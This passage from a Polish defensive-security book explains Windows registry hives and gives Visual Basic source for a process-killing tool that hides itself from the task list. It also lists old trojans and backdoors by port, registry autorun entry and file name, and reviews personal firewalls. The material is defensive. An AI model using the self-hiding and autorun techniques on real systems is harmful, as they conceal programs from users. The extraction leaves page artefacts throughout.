przedstawianych programów) należy utworzyć jego kopię zapasową. Oprogramowanie
umożliwiające skuteczne zabezpieczenie rejestru pobrać można z ośrodków TuCows
(www.tucows.com) lub Download (www.download.com).

Standardowe struktury rejestru to:









HKEY_CLASSES_ROOT. Zawiera ustawienia oprogramowania, które
opisują czynności inicjowane operacjami drag-and-drop, podstawowe informacje
o uchwytach i inne dane związane z interfejsem użytkownika. Znaleźć tu
można podklucz dla każdego ze zdefiniowanych skojarzeń plików.









HKEY_CURRENT_USER. Zawiera dane dotyczące zalogowanego w danym
momencie użytkownika. Obejmują one:



AppEvents. Przypisania dźwięków do generowanych przez system i aplikacje
zdarzeń.



Control Panel. Ustawienia określone poprzez Panel sterowania zbliżone
do znanych z plików

system.ini

,

win.ini

i

control.ini

systemu Windows 3.x.



InstallLocationsMRU. Zawiera ścieżki do folderów programów instalacyjnych.



Keyboard Layout. Określa bieżący układ klawiatury.



Network. Dane połączeń sieciowych.



RemoteAccess. Dane lokalizacji użytkownika, stosowane przez Dial-Up
Networking.

background image


Rozdział 1.

Zabezpieczanie portów i usług

105

105



Software. Ustawienia konfiguracyjne oprogramowania, stosowane
w odniesieniu do zalogowanego użytkownika.









HKEY_LOCAL_MACHINE. Informacje o ustawieniach oprogramowania
i podzespołów komputera, wspólne wszystkim użytkownikom danej stacji:



Config. Dane i ustawienia konfiguracji.



Enum. Dane i ustawienia urządzeń sprzętowych.



Hardware. Dane i ustawienia szeregowych portów komunikacyjnych.



Network. Informacje o sieciach, do których zalogowany jest użytkownik.



Security. Ustawienia zabezpieczeń sieciowych.



Software. Dane i ustawienia specyficzne dla zainstalowanego oprogramowania.



System. Dane inicjalizacyjne, informacje o sterownikach i ustawienia
systemu operacyjnego.









HKEY_USERS. Informacje o ustawieniach pulpitu i użytkownika — zawiera
podklucze dla wszystkich zdefiniowanych w systemie Windows użytkowników.
Domyślnym kluczem ustawień użytkownika jest .default.









HKEY_CURRENT_CONFIG. Informacja o bieżącej konfiguracji
sprzętowej — odwołanie do elementu HKEY_LOCAL_MACHINE.









HKEY_DYN_DATA. Dane dynamiczne, dotyczące zainstalowanych w systemie
urządzeń Plug and Play. Ulegają zmianie w trakcie pracy systemu, wraz
z dołączaniem i odłączaniem urządzeń.

Przy usuwaniu plików zdarzyć się może, że wyświetlone zostanie okienko podobne do
przedstawionego na rysunku 1.32. Informuje ono, że plik jest aktualnie używany — po-
służył do uruchomienia pracującego w systemie procesu. W tego rodzaju wypadkach
konieczne jest zamknięcie procesu. Można wciśnięciem Ctrl+Alt+Delete wywołać
okienko Zamknij program i skorzystać z polecenia Zakończ zadanie. Jednak nie wszystkie
procesy będą w menedżerze zadań widoczne. Wyświetlenie pełnej listy umożliwia pro-
ste narzędzie dla systemów Windows 9x/Me — TigerWipe (patrz rysunek 1.33). Aby
zamknąć proces, zaznaczamy odpowiednią pozycję i klikamy Wyczyść. Na kolejnych
stronach przedstawiamy jego kod źródłowy — Czytelnik może dostosować i wykorzy-
stać przedstawione w nim procedury. Przykładowym kierunkiem rozbudowy może być
wersja wykrywająca konie trojańskie, zamykająca ich procesy i usuwająca odpowiednie
pliki. Tutaj prezentujemy jedynie prosty interfejs do samodzielnej obsługi listy.

Rysunek 1.32.
ąd typu File in use
(plik w u
życiu)

TigerWipe

Dim X(100), Y(100), Z(100) As Integer
Dim tmpX(100), tmpY(100), tmpZ(100) As Integer

background image


106

Hack Wars. Tom 2. Na tropie hakerów

106

Dim K As Integer
Dim Zoom As Integer
Dim Speed As Integer

Rysunek 1.33.
Dzięki TigerWipe
usuwanie ukrytych
procesów nie jest
czynno
ścią trudną

Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Form_Activate()
Speed = -1
K = 2038
Zoom = 256
Timer1.Interval = 1
For i = 0 To 100
X(i) = Int(Rnd * 1024) - 512
Y(i) = Int(Rnd * 1024) - 512
Z(i) = Int(Rnd * 512) - 256
Next i
End Sub

Private Sub Command1_Click()
KillApp (Text1.Text)
End Sub

Public Function KillApp(myName As String) As Boolean
Const PROCESS_ALL_ACCESS = 0
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim exitCode As Long
Dim myProcess As Long
Dim AppKill As Boolean
Dim appCount As Integer
Dim i As Integer
On Local Error GoTo Finish
appCount = 0

Const TH32CS_SNAPPROCESS As Long = 2&

background image


Rozdział 1.

Zabezpieczanie portów i usług

107

107

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
List1.Clear

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
List1.AddItem (szExename)
If Right$(szExename, Len(myName)) = LCase$(myName) Then
KillApp = True
appCount = appCount + 1
myProcess = OpenProcess(PROCESS_ALL_ACCESS, False,
uProcess.th32ProcessID)
AppKill = TerminateProcess(myProcess, exitCode)
Call CloseHandle(myProcess)
End If


rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop

Call CloseHandle(hSnapshot)
Finish:
End Function

Private Sub Form_Load()
KillApp ("none")
RegisterServiceProcess GetCurrentProcessId, 1 'Ukrycie aplikacji
End Sub

Private Sub Form_Resize()
List1.Width = Form1.Width - 400
List1.Height = Form1.Height - 1000
Text1.Width = Form1.Width - Command1.Width - 300
Command1.Left = Text1.Width + 150
End Sub

Private Sub Form_Unload(Cancel As Integer)
RegisterServiceProcess GetCurrentProcessId, 0 'Wyrejestrowanie
znacznika usługi
End Sub

Private Sub List1_Click()
Text1.Text = List1.List(List1.ListIndex)
End Sub

Private Sub List1_dblClick()
Text1.Text = List1.List(List1.ListIndex)
KillApp (Text1.Text)
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = "13" Then
KillApp (Text1.Text)
End If
End Sub

Private Sub Timer1_Timer()
For i = 0 To 100
Next i

background image


108

Hack Wars. Tom 2. Na tropie hakerów

108

End Sub

Moduł

Const MAX_PATH& = 260
Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess
As Long, ByVal
uExitCode As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As
Long, ByVal
blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First"
(ByVal
hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next"
(ByVal hSnapshot
As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias
"CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As
Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As
Long
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal
ProcessID As
Long, ByVal ServiceFlags As Long) As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long

Lista portów

Aby Czytelnik miał pełną orientację, przedstawimy teraz listę portów i związanych z nimi
szkodliwych usług, uzupełnioną danymi niezbędnymi do podjęcia wymienionych
wcześniej czynności (a więc usunięcia plików i wpisów rejestru).

Po oczyszczeniu systemu ze szkodliwych „rodzynków” nigdy nie należy rezygnować
z restartu systemu — zapewni to stabilność pracy komputera, jak również pewność, że w
pamięci nie pozostały żadne niepotrzebne składniki. Przy usuwaniu kluczy rejestru dodat-
kowy restart należy wykonać przed przejściem do usuwania plików, które wskazują.

Jeżeli masz trudności lub obawiasz się wprowadzania zmian systemowych w rejestrze Win-
dows, sięgnij do dodatku A, gdzie znajdziesz więcej informacji o oprogramowaniu
wspomagającym zabezpieczanie systemu. Korzystając z TigerWatch możesz monitorować i
blokować porty oraz usługi systemowe, unikając konieczności bezpośredniego ingerowa-
nia w pliki systemu czy rejestr.

background image


Rozdział 1.

Zabezpieczanie portów i usług

109

109

Porty 21, 5400 – 5402

Usługa: Back Construction

Wpis w Rejestrze:

HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Shell)

Plik do usunięcia:

\windows\cmctl32.exe

Usługa: Blade Runner

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: System-Tray)

Plik do usunięcia:

server.exe

Usługa: Fore

Plik do usunięcia:

fore.exe

Usługa: Invisible FTP

Plik do usunięcia:

ftp.exe

Port 23

Usługa: Tiny Telnet Server

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Windll.exe = "C:\\WINDOWS\\Windll.exe"

Plik do usunięcia:

c:\windows\Windll.exe

Porty 25 i 110

Usługa: Antigen

Plik do usunięcia:

antigen.exe

Usługa: Email Password Sender

Pliki do usunięcia:

winstart.bat

,

winstat.exe

,

priocol.exe

,

priocol.dll

Usługa: Shtrilitz

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Tspool)

Plik do usunięcia:

spool64.exe

Usługa: Stealth

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Winprotect System)

Plik do usunięcia:

winprotecte.exe

Usługa: Tapiras

background image


110

Hack Wars. Tom 2. Na tropie hakerów

110

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: tapiras.exe)

Plik do usunięcia:

tapiras.exe

Usługa: WinPC

Plik do usunięcia:

winpc.exe

Porty 41, 999, 2140, 3150, 6670 – 6771, 60000

Usługa: Deep Throat

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SystemTray)

Plik do usunięcia:

systray.exe

,

pddt.dat

Porty 79 i 5321

Usługa: Firehotker

Plik do usunięcia:

server.exe

Port 80

Usługa: Executor

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Executer1)

Plik do usunięcia:

server.exe

lub

sexec.exe

Port 113

Usługa: Kazimas

Plik do usunięcia:

milbug_a.exe

Port 121

Usługa: JammerKillah

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
(Wpis: MsWind32drv)

Plik do usunięcia:

MsWind32.drv

Porty 531 i 1045

Usługa: Rasmin

background image


Rozdział 1.

Zabezpieczanie portów i usług

111

111

Plik do usunięcia:

rasmin.exe

,

wspool.exe

,

winsrvc.exe

,

inipx.exe

,

upgrade.exe

Porty 555 i 9989

Usługa: phAse Zero

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: MsgServ)

Plik do usunięcia:

msgsvr32.exe

Port 666

Usługa: Attack FTP

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Reminder)

Plik do usunięcia:

wscan.exe

,

drwatsom.exe

,

serv-u.ini

,

results.dll

,

wver.dll

Usługa: Back Construction

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Shell)

Plik do usunięcia:

cmctl32.exe

Usługa: Cain & Abel

Plik do usunięcia:

abel.exe

Porty 1010 – 1015

Usługa: Doly Trojan

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run for
file tesk.exe\ (Wartość: tesk.exe)

Plik do usunięcia:

tesk.exe

Port 1042

Usługa: BLA

Wpisy w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
System = "C:\WINDOWS\System\mprdll.exe" HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\Run\SystemDoor = "C:\WINDOWS\ Sys-
tem\rundll argp1"

Plik do usunięcia:

mprdll.exe

background image


112

Hack Wars. Tom 2. Na tropie hakerów

112

Port 1234

Usługa: Ultors Trojan

Plik do usunięcia:

t5port.exe

Port 1243, 6776

Usługa: SubSeven

Plik do usunięcia:

nodll.exe

,

server.exe

,

kernel16.dll

,

windows.exe

,

wtching.dll

,

lmdrk_33.dll

Port 1245

Usługa: VooDoo Doll

Plik do usunięcia:

adm.exe

Port 1492

Usługa: FTP99CMP

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: WinDLL_16)

Plik do usunięcia:

windll16.exe

,

serv-u.ini

Port 1981

Usługa: shockrave

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: NetworkPopup)

Plik do usunięcia:

netpopup.exe

Port 1999

Usługa: BackDoor

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: notpa)

Plik do usunięcia:

notpa.exe

Porty 1999 – 2005 i 9878

Usługa: Transmission Scout

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: kernel16)

Plik do usunięcia:

kernel16.exe

background image


Rozdział 1.

Zabezpieczanie portów i usług

113

113

Port 2001

Usługa: Trojan Cow

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SysWindow)

Plik do usunięcia:

syswindow.exe

Port 2115

Usługa: Bugs

Wpis w Rejestrze:

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SysTray)

Plik do usunięcia:

systemtr.exe

Porty 2140 i 3150

Usługa: The Invasor

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: SystemDLL32)

Plik do usunięcia:

runme.exe

Porty 2155 i 5512

Usługa: Illusion Mailer

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Sysmem)

Plik do usunięcia:

memory.exe

Port 2565

Usługa: Striker

Plik do usunięcia:

servers.exe

Port 2600

Usługa: Digital RootBeer

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: ActiveX Console)

Plik do usunięcia:

patch.exe

background image


114

Hack Wars. Tom 2. Na tropie hakerów

114

Port 2989

Usługa: RAT

Wpisy w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
Explorer = "C:\WINDOWS\system\MSGSVR16.EXE"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Default = " "

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Explorer = " "

Porty 3459 – 3801

Usługa: Eclipse

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
Rnaapp = "C:\WINDOWS\SYSTEM\rmaapp.exe"

Plik do usunięcia:

rmaapp.exe

Porty 3700, 9872 – 9875, 10067 i 10167

Usługa: Portal of Doom

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\ (Wpis: String)

Plik do usunięcia:

ljsgz.exe

,

server.exe

Port 4567

Usługa: File Nail

Plik do usunięcia:

server.exe

Port 5000

Usługa: Bubbel

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Windows)

Plik do usunięcia:

bubbel.exe

Port 5001, 30303, 50505

Usługa: Sockets de Troie

Wpisy w Rejestrze:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
MSchv32 Drv = "C:\WINDOWS\SYSTEM\MSchv32.exe"

background image


Rozdział 1.

Zabezpieczanie portów i usług

115

115

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
Mgadeskdll = "C:\WINDOWS\SYSTEM\Mgadeskdll.exe"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Load
Rsrcload = „C:\WINDOWS\Rsrcload.exe”

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices\
Load Csmctrl32 = „C:\WINDOWS\SYSTEM\Csmctrl32.exe”

Plik do usunięcia:

mschv32.exe

Port 5569

Usługa: Robo-Hack

Plik do usunięcia:

robo-serv.exe

Port 6400

Usługa: The tHing

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Default)

Plik do usunięcia:

thing.exe

Port 6912

Usługa: Shit Heep

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: recycle-bin)

Pliki do usunięcia:

system.exe

,

update.exe

Porty 6969, 16969

Usługa: Priority

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Pserver)

Plik do usunięcia:

pserver.exe

Port 6970

Usługa: GateCrasher

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Inet)

Plik do usunięcia:

system.exe

background image


116

Hack Wars. Tom 2. Na tropie hakerów

116

Port 7000

Usługa: Remote Grab

Plik do usunięcia:

mprexe.exe

Port 9400

Usługa: InCommand

Plik do usunięcia:

olemon32.exe

Port 10101

Usługa: BrainSpy

Wpisy w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Dualji)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Gbubuzhnw)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Fexhqcux)

Plik do usunięcia:

brainspy.exe

Port 10520

Usługa: Acid Shivers

Plik do usunięcia:

en-cid12.exe

,

en-cid12.dat

Port 10607

Usługa: Coma

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: RunTime)

Pliki do usunięcia:

msgsrv36.exe

,

server.exe

Port 12223

Usługa: Hack’99 KeyLogger

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunServices\ (Wpis: HkeyLog)

Plik do usunięcia:

HKeyLog.exe

background image


Rozdział 1.

Zabezpieczanie portów i usług

117

117

Porty 12345 – 12346

Usługa: NetBus/2/Pro

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Services\ (Wpis: Netbus)

Plik do usunięcia:

sysedit.exe

,

patch.exe

Porty 20000 – 20001

Usługa: Millenium

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: millenium)

Plik do usunięcia:

hool.exe

Port 21544

Usługa: GirlFriend

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: windll)

Plik do usunięcia:

windll.exe

Porty 22222 i 33333

Usługa: Prosiak

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
(Wpis: Microsoft DLL Loader)

Pliki do usunięcia:

windll32.exe

,

prosiak.exe

Port 30029

Usługa: AOL Trojan

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Wpis: dat92003)

Plik do usunięcia:

dat92003.exe

Porty 30100 – 30102

Usługa: NetSphere

Wpis w Rejestrze:

background image


118

Hack Wars. Tom 2. Na tropie hakerów

118

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: nssx)

Plik do usunięcia:

nssx.exe

Porty 1349, 31337 – 31338 i 54320 – 54321

Usługa: Back Orifice

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: bo)

Porty 31785 – 31792

Usługa: Hack'a'Tack

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Explorer32)

Plik do usunięcia:

expl32.exe

Port 33911

Usługa: Spirit

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: SystemTray)

Plik do usunięcia:

windown.exe

Port 40412

Usługa: The Spy

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: systray)

Plik do usunięcia:

systray.exe

Port 47262

Usługa: Delta Source

Wpis w Rejestrze:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\
(Wpis: Ds admin tool)

Port 65000

Usługa: Devil

background image


Rozdział 1.

Zabezpieczanie portów i usług

119

119

Pliki do usunięcia:

opscript.exe

,

winamp34.exe

,

wingenocid.exe

,

icqflood.exe

Programy monitorujące i blokujące

Programy umożliwiające monitorowanie i blokowanie portów funkcjonują jako mini-
zapory firewall. „Mini” nie oznacza tu jednak, że zapewniają one słabszą ochronę. Są to
samodzielne mechanizmy obronne systemów końcowych sieci. Można oczekiwać, że na-
biorą one ogromnego znaczenia w dalszym rozwoju technik bezpieczeństwa. Właściwe
zapory firewall „z definicji” służyć mają jako systemy łączności między sieciami, za-
bezpieczające jednocześnie jedną ze stron komunikacji. Współcześnie nie można jed-
nak twierdzić, że zapewniają one wystarczającą ochronę.

Systemy obecnie pracujące w sieciach, jak również na prywatnych komputerach PC,
zawierają wiele cennych informacji — wystarczająco interesujących, aby przyciągnąć
uwagę wszelkiej maści hakerów, crackerów czy cyberpunków. Zapory graniczne sieci
mogą być jedynie punktem wyjścia. I one mogą ulec włamaniu. Nie należy również
lekceważyć zagrożeń wewnętrznych, inicjowanych z sieci lokalnej. Firewall jest więc
dopiero pierwszą cegiełką. Zamykamy za sobą drzwi i przechodzimy do zabezpiecza-
nia wnętrza, aż do poziomu pojedynczych komputerów.

Na kolejnych kilkunastu stronach przedstawimy najlepsze narzędzia monitorujące i bloku-
jące porty — najlepsze, ale nie ze względu na poziom sprzedaży czy cenę. Wybraliśmy te,
które oferują najwyższy poziom ochrony systemu. Ich działanie opiera się na monito-
rowaniu i, ewentualnie, blokowaniu wymiany danych. Pracują w powiązaniu z przyłą-
czami fizycznymi, jak karty sieciowe, lub wirtualnymi, np. połączeniami telefonicznymi.

Przedstawiane tutaj pakiety ilustrują różnorodne podejścia do tych samych funkcji. Naj-
lepiej więc wybrać takie, które odpowiada naszym potrzebom i które może być odpo-
wiednio dopasowywane w przyszłości.

BlackICE Defender

BlackICE Defender firmy Network ICE (www.networkice.com) to system ochrony przed
włamaniami, który monitoruje komputer osobisty, korzystający z połączenia DSL, przez
modem kablowy lub telefonicznego, wykrywając podejmowane wobec niego ataki. Wy-
krycie naruszenia zabezpieczeń sygnalizowane jest alarmem (dźwiękiem). Automatycznie
blokowane jest przyjmowanie pakietów ze stacji atakującej (patrz rysunek 1.34).

background image


120

Hack Wars. Tom 2. Na tropie hakerów

120

Rysunek 1.34.
Narzędzie BlackICE
zabezpiecza równie
ż
przed atakami
inicjowanymi
z sieci LAN

Działanie programu jest konfigurowalne: naruszenie zasad zabezpieczeń wprowadzać
może źródło zaufane, wówczas komunikacja nie zostanie przerwana (patrz rysunek
1.35). Słabą stroną takiego rozwiązania jest umożliwienie ataków opartych na podrabia-
niu adresów. Istotnym uzupełnieniem będzie więc najczęściej blokowanie portów. Inne
niedociągnięcia narzędzia BlackICE to brak filtrowania na poziomie aplikacji, błędy
w pracy narzędzia oraz brak mechanizmów zarządzania zasadami bezpieczeństwa.

Rysunek 1.35.
Konfigurowanie
narz
ędzia

W ogólnym ujęciu, BlackICE Defender działa bardzo skutecznie i zapewnia zarówno
raporty, jak i przegląd historii ataków (patrz rysunek 1.36). Wbudowany mechanizm
ś

ledzenia gromadzi informacje o atakach („dowody”): adres IP hakera, jego nazwę

DNS i adres MAC, wraz z przesyłanymi do lokalnego komputera danymi. Naruszenia
bezpieczeństwa oceniane są odpowiednio do poziomu ich szkodliwości. Poniżej po-
ziomu oznaczonego jako 60 znajdziemy charakterystyczne dla fazy rozpoznawania

background image


Rozdział 1.

Zabezpieczanie portów i usług

121

121

sieci wywołania różnych skanerów. Ataki o wyższym poziomie szkodliwości to już
faktyczne włamania przeprowadzane przez doświadczonych hakerów.

Firma Network ICE oferuje również nowszy produkt, ICEpaq Security Suite, zapew-
niający ochronę sieci przedsiębiorstw, łącznie z dostępem VPN. Pakiet zawiera moduły
służące do instalowania na serwerach w sieci, połączone ze scentralizowanym systemem
zarządzania.

Podsumowując, produkty Network ICE to interesujące rozwiązanie zarówno dla ma-
łych firm, jak i dużych lub średnich sieci przedsiębiorstw.

Rysunek 1.36.
BlackICE generuje
zestawienia ataków

LockDown 2000

LockDown 2000 (www.lockdown2000.com) to narzędzie do ochrony systemu, zapew-
niające wykrywanie koni trojańskich oraz ataków ICQ i Nuke (patrz rysunek 1.37).
Wyposażone zostało również w mechanizmy usuwania dużej ilości szkodliwych usług.
LockDown 2000 monitoruje również udziały w systemie. Pakiet zbiera ostatnio bardzo
pozytywne opinie.

Rysunek 1.37.
Interfejs graficzny
narz
ędzia
LockDown 2000

background image


122

Hack Wars. Tom 2. Na tropie hakerów

122

Norton Internet Security

Norton Internet Security (www.norton.com) to profesjonalna ochrona przed włamania-
mi. Zbudowany wokół sprawdzonego jądra pakiet zapewnia ochronę przed takimi
atakami zdalnymi, jak DoS, wirusy, formanty ActiveX, skrypty Java i wieloma innymi.
Automatyczne pobieranie nowych definicji wirusów zapewnia technologia LiveUpdate.
Można również zabezpieczyć swoje informacje personalne, uniemożliwiając przesyłanie
plików cookie. Wszystkie te funkcje zapewniają pakietowi Norton Internet Security
niezachwianą pozycję wśród programów „z górnej półki”.

Interfejs administracyjny uwzględnia dużą liczbę łatwo dostępnych i rozbudowanych
funkcji, stając się przez to nieco mniej przejrzysty dla użytkowników o małym doświad-
czeniu (patrz rysunek 1.38). Próbą zaradzenia temu problemowi są mechanizmy auto-
matycznego konfigurowania zapory. Mimo to, łatwo o błędy w ustawieniach, prowadzące
do zablokowania standardowych procedur komunikacyjnych. Sygnalizowane są rów-
nież problemy ze stabilnością systemu operacyjnego po zainstalowaniu całości pakie-
tu. Można podejrzewać, że wynikają one z łączenia instalacji Norton Internet Se-
curity
z innym oprogramowaniem o podobnym przeznaczeniu.

Rysunek 1.38.
Zaawansowane
ustawienia
konfiguracyjne
pakietu Norton
Internet Security

ZoneAlarm Pro

ZoneAlarm Pro, firmy ZoneLabs (www.zonelabs.com) to kolejny popularny demon
„osobistej zapory firewall”, przeznaczony przede wszystkim do wykorzystania na łą-
czach telefonicznych, DSL i kablowych (choć nie tylko). Produkt ten bardzo skutecznie
blokuje próby nieuprawnionego dostępu, uwzględniając również techniki „zasłaniania”
(cloaking). Łatwe jest konfigurowanie własnych reguł zabezpieczeń, blokujących dostęp
do Internetu przy zachowaniu komunikacji z udziałami lokalnymi. Całość ustawień zebra-
na została w prostym interfejsie konfiguracyjnym, przedstawionym na rysunku 1.39. Fir-
ma oferuje również darmowe oprogramowanie ochronne dla komputerów domowych.

Pośród najnowszych funkcji programu znajdziemy:









Ochronę hasłem, uniemożliwiającą nieuprawnioną zmianę ustawień zabezpieczeń.

background image


Rozdział 1.

Zabezpieczanie portów i usług

123

123









Błyskawiczną konfigurację udostępniania połączenia internetowego i translacji
adresów (NAT).









Zaawansowane narzędzia umożliwiające wymagającym użytkownikom
precyzyjne dostosowanie narzędzia do własnych potrzeb.









Strefę ograniczonego dostępu, umożliwiającą zablokowanie adresów IP,
z których uruchamiane są skanowania portów.

Rysunek 1.39.
Konfigurowanie
narz
ędzia ZoneAlarm









Konfigurowalne alerty i dzienniki, umożliwiające natychmiastowe
powiadamianie i ciągłe katalogowanie informacji o próbach włamań.









Zaawansowane zarządzanie komunikacją aplikacji z Internetem.









Zaawansowany mechanizm ochrony załączników poczty elektronicznej
MailSafe, który rozpoznaje i analizuje pliki 37 typów.

Brak w programie kilku najbardziej wyrafinowanych funkcji przypomina jedynie, że
praca nad produktem dopiero się zaczęła.

TigerGuard

Jak wielokrotnie już wspomniano, użytkownicy Windows, zarówno prywatni, jak i zwią-
zani z rozbudowanym środowiskiem sieciowym, którzy oczekują możliwości pełnej
kontroli nad programem i ochrony portów w sposób samodzielnie dostosowany do
własnych wymagań, skorzystać mogą z narzędzia TigerGuard. Zaznajomienie się z tym
programem znacznie ułatwi zrozumienie celów i technik zabezpieczania portów. Jego
filozofia jest prosta — port wykorzystywany i chroniony nie może być zaatakowany.
TigerGuard pozwala użytkownikowi tworzyć, ładować i zapisywać własne listy za-
sad. W swojej bieżącej kompilacji, demon TigerGuard rejestruje próby ataku, blokuje
porty i wysyła powiadomienia.

background image


124

Hack Wars. Tom 2. Na tropie hakerów

124

Rozpoczynając korzystanie z narzędzia załadować można standardowe listy zasad.
